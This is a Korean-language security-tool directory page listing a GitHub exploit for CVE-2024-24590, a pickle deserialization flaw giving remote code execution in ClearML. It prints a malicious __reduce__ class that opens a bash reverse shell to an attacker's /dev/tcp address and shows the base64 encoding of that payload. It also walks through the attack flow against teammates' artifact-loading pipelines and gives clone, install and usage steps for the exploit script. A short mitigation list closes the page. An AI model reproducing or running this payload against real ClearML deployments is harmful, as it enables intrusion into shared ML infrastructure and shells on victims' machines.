Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-24590-ClearML-RCE-Exploit — CVE-2024-24590 – 안전하지 않은 pickle 아티팩트 역직렬화를 통한 ClearML RCE (0.17.0–1.14.2) | Kitploit
도구/GitHubGitHub/rippsec/cve-2024-24590-clearml-rce-exploit
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlLearning & EducationRed TeamingRemote Access Tool

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHubrippsec/cve-2024-24590-clearml-rce-exploit

CVE-2024-24590-ClearML-RCE-Exploit

CVE-2024-24590 – 안전하지 않은 pickle 아티팩트 역직렬화를 통한 ClearML RCE (0.17.0–1.14.2)

저장소 보기
6225개월 전아직 검토되지 않음

CVE-2024-24590 — ClearML Pickle 아티팩트 RCE

개요

필드세부사항
CVECVE-2024-24590
소프트웨어ClearML
영향을 받는 버전0.17.0 – 1.14.2
취약점작업 아티팩트의 안전하지 않은 pickle 역직렬화
인증ClearML 프로젝트에 대한 쓰기 접근 필요
영향아티팩트를 로드하는 모든 머신에서 원격 코드 실행
테스트 환경Ubuntu 22.04, Python 3.9+

설명

ClearML은 실험을 추적하고, 데이터셋을 관리하며, 팀 구성원 간에 아티팩트(모델, 파일, 객체)를 공유하는 MLOps 플랫폼입니다. 작업 아티팩트가 Python 객체로 업로드되면 ClearML은 Python의 pickle 모듈을 사용하여 직렬화합니다. 다른 사용자가 해당 아티팩트를 다운로드하여 로드하면 ClearML은 무결성 검증이나 클래스 허용 목록 없이 pickle을 사용하여 역직렬화합니다.

공유 ClearML 프로젝트에 쓰기 접근 권한을 가진 공격자는 재정의된 __reduce__ 메서드를 포함하는 악성 아티팩트를 업로드할 수 있습니다. 해당 아티팩트를 가져와 로드하는 모든 팀원 또는 자동화된 파이프라인은 역직렬화 중에 공격자의 페이로드를 실행하게 되어 해당 머신에서 RCE를 달성합니다.

기술 세부사항

근본 원인

Python의 pickle 모듈은 신뢰할 수 없는 입력에 대해 근본적으로 안전하지 않습니다. 클래스의 __reduce__ 매직 메서드는 역직렬화 중에 객체가 재구성되는 방식을 제어하며, os.system을 포함한 모든 호출 가능 객체와 인수를 반환할 수 있습니다:

class exploit:
    def __reduce__(self):
        return os.system, ("bash -c 'bash -i >& /dev/tcp/<IP>/<PORT> 0>&1'",)

피클링된 후 나중에 역피클링되면, Python은 객체 재구성의 일부로 os.system(cmd)를 호출합니다 — 호출자가 객체를 검사할 기회를 갖기 전에.

공격 흐름

공격자 (프로젝트 쓰기 접근)
    │
    ▼
task = Task.init(project_name="shared-project", task_name="exploit")
task.upload_artifact("model", artifact_object=exploit())
    │
    ▼
ClearML 서버가 아티팩트를 피클된 바이너리 blob으로 저장
    │
    ▼
피해자가 아티팩트를 가져옴 (자동화 파이프라인 / 수동 검토)
    task.artifacts["model"].get()
    │
    ▼
pickle.loads(blob) → __reduce__ 발동 → os.system(reverse_shell_cmd)
    │
    ▼
리버스 셸이 공격자에게 연결

페이로드 인코딩

리버스 셸 명령은 직렬화된 문자열에서 셸 따옴표 문제를 피하기 위해 임베딩 전에 Base64로 인코딩됩니다:

bash_cmd = f'bash -c "bash -i >& /dev/tcp/{ip}/{port} 0>&1"'
b64 = base64.b64encode(bash_cmd.encode()).decode()
cmd = f'echo {b64} | base64 -d | sh'

사전 요구사항

  • 대상 서버에서 최소 하나의 프로젝트에 쓰기 접근 권한이 있는 ClearML 계정
  • 피해자가 아티팩트를 역직렬화해야 함 (ClearML SDK를 통해 가져오기)

설치

git clone https://github.com/rippsec/CVE-2024-24590-ClearML-RCE-Exploit.git
cd CVE-2024-24590-ClearML-RCE-Exploit
pip install -r requirements.txt

요구 사항: clearml, pwntools, colorama

사용법

python3 exploit.py

대화형 메뉴는 두 단계로 구성됩니다:

1단계 — ClearML 초기화 (option 1)

clearml-init을 실행하여 대상 ClearML 서버에 대한 자격 증명을 구성합니다. 기존 ~/clearml.conf가 있으면 먼저 백업합니다.

2단계 — 익스플로잇 실행 (option 2)

다음을 입력하라는 메시지가 표시됩니다:

  • 리스너 IP
  • 리스너 포트
  • 대상 프로젝트 이름 (대소문자 구분 — 쓰기 접근 권한이 있는 프로젝트여야 함)

선택적으로 아티팩트 업로드 전에 pwncat 리스너를 자동으로 시작합니다.

스크린샷

완화 방법

  • 아티팩트 역직렬화를 제한하는 ClearML ≥ 1.14.3으로 업그레이드
  • 프로젝트 접근 제어 감사 — 신뢰할 수 있는 사용자에게만 쓰기 접근 제한
  • 이전 버전을 사용하는 경우 ClearML 아티팩트 저장소를 신뢰할 수 없는 코드 실행 표면으로 취급

참고 자료

  • NVD 항목
  • ClearML GitHub
  • Python pickle 보안 경고
도구 다운로드